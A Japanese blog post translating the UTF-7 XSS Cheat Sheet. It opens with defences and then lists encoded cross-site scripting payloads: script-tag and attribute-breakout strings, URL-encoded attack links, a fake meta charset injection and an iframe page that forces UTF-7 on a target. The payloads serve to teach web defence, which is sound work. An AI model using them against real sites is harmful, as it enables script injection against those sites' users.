スポンサーリンク

Webアプリケーションのセキュリティで問題になるXSSについて。

UTF-7でクロスサイトスクリプティングの問題を発生させる10の方法についてです。
原文は、UTF-7 XSS Cheat Sheet(UTF-7 XSS チャートシート)です。
http://openmya.hacker.jp/hasegawa/security/utf7cs.html

#0 解決策

UTF-7のXSS対策は:
  • charsetを明確に指定する(HTTPヘッダでの指定を推奨します)。
  • <meta>の前に攻撃者にテキストを置かせてはいけません。
  • ブラウザが認識できるcharset名を指定します(間違った指定が世の中にあふれています)。
#1 もっとも基本的なパターン
UTF-7における

+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-


<script>alert(document.location)</script>

を表します。

これは、UTF-7のXSSのもっとも基本的なパターンです。

#2 URLエンコードのもっとも基本的なパターン

%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-


<script>alert(document.location)</script>

を表します。

#1をURLエンコードした式です。
例えば

http://example.com/search?q=%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-

として、利用します。

#3 クォートをつけます

+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-


"><script>alert(document.location)</script><"

を表します。

タグのアトリビュート(属性)の値に挿入されるときに使います。

#4 URLエンコードとクォート

%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-


"><script>alert(document.location)</script><"

を表します。

#3をURLエンコードしたものです。
例えば

http://example.com/search?q=%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-

として利用します。

#5 <meta>タグのフェイクの挿入

+ADw-/title+AD4APA-meta http-equiv+AD0-'content-type' content+AD0-'text/html+ADs-charset+AD0-utf-7'+AD4-


</title><meta http-equiv='content-type' content='text/html;charset=utf-7'>

を表します。

オリジナルの<meta>タグの前にフェイクの<meta>タグを挿入することに、UTF-7であると強制的に認識させます。

<title>
+ADw-/title+AD4APA-meta http-equiv+AD0-'content-type'
content+AD0-'text/html+ADs-charset+AD0-utf-7'+AD4-
</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8">

#6 UTF-7 iframeを通す
<html>
<head>
<meta http-equiv="content-type"
content="text/html;charset=utf-7">
</head>
<body>
<iframe
src="http://target.example.com/NOTFOUND/%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-"></iframe>
</body>
</html>

もし日本語(または英語以外)のテキストがオリジナルHTMLに含まれるならば、UTF-7は自動的に選ばれません。しかし、UTF-7のiframeから訪問したとき、UTF-7を強制的に選択させられます。

See CVS-2007-1114 により詳しいことが書いてあります。

#7 正体不明なキャラクタセット(Unidentifiable charset)

http://example.com/?q=%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&oe=Windows-31J
http://example.com/?q=%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&oe=CP932
http://example.com/?q=%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&eo=MS932
http://example.com/?q=%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&cs=jis
http://example.com/?q=%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&charset=utf8
http://example.com/?q=%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&enc=sjis


出力HTMLのキャラクタセット(charset)をパラメータによって指定できるとき、IEが認識できない"CP932"とようなcharset名を指定することによって、IE(Microsoft Internet Explorer)はUTF-7であると認識します。
charset名を指定する典型的なパラメータ名は、 "OE", "eo", "cs", "charset", "enc" やその他です。
典型的な間違ったcharset名は、

  • Windows-31J
  • CP932
  • MS932
  • jis
  • utf8
  • sjis などです。
例:

UTF-7のXSSを理解し、Webアプリケーションのセキュリティを向上しましょう。

スポンサーリンク
スポンサーリンク
 
いつもシェア、ありがとうございます!


もっと情報を探しませんか?

関連記事

最近の記事

人気のページ

スポンサーリンク
 

過去ログ

2020 : 01 02 03 04 05 06 07 08 09 10 11 12
2019 : 01 02 03 04 05 06 07 08 09 10 11 12
2018 : 01 02 03 04 05 06 07 08 09 10 11 12
2017 : 01 02 03 04 05 06 07 08 09 10 11 12
2016 : 01 02 03 04 05 06 07 08 09 10 11 12
2015 : 01 02 03 04 05 06 07 08 09 10 11 12
2014 : 01 02 03 04 05 06 07 08 09 10 11 12
2013 : 01 02 03 04 05 06 07 08 09 10 11 12
2012 : 01 02 03 04 05 06 07 08 09 10 11 12
2011 : 01 02 03 04 05 06 07 08 09 10 11 12
2010 : 01 02 03 04 05 06 07 08 09 10 11 12
2009 : 01 02 03 04 05 06 07 08 09 10 11 12
2008 : 01 02 03 04 05 06 07 08 09 10 11 12
2007 : 01 02 03 04 05 06 07 08 09 10 11 12
2006 : 01 02 03 04 05 06 07 08 09 10 11 12
2005 : 01 02 03 04 05 06 07 08 09 10 11 12
2004 : 01 02 03 04 05 06 07 08 09 10 11 12
2003 : 01 02 03 04 05 06 07 08 09 10 11 12

サイト

Vim入門

C言語入門

C++入門

JavaScript/Node.js入門

Python入門

FreeBSD入門

Ubuntu入門

セキュリティ入門

パソコン自作入門

ブログ

トップ


プライバシーポリシー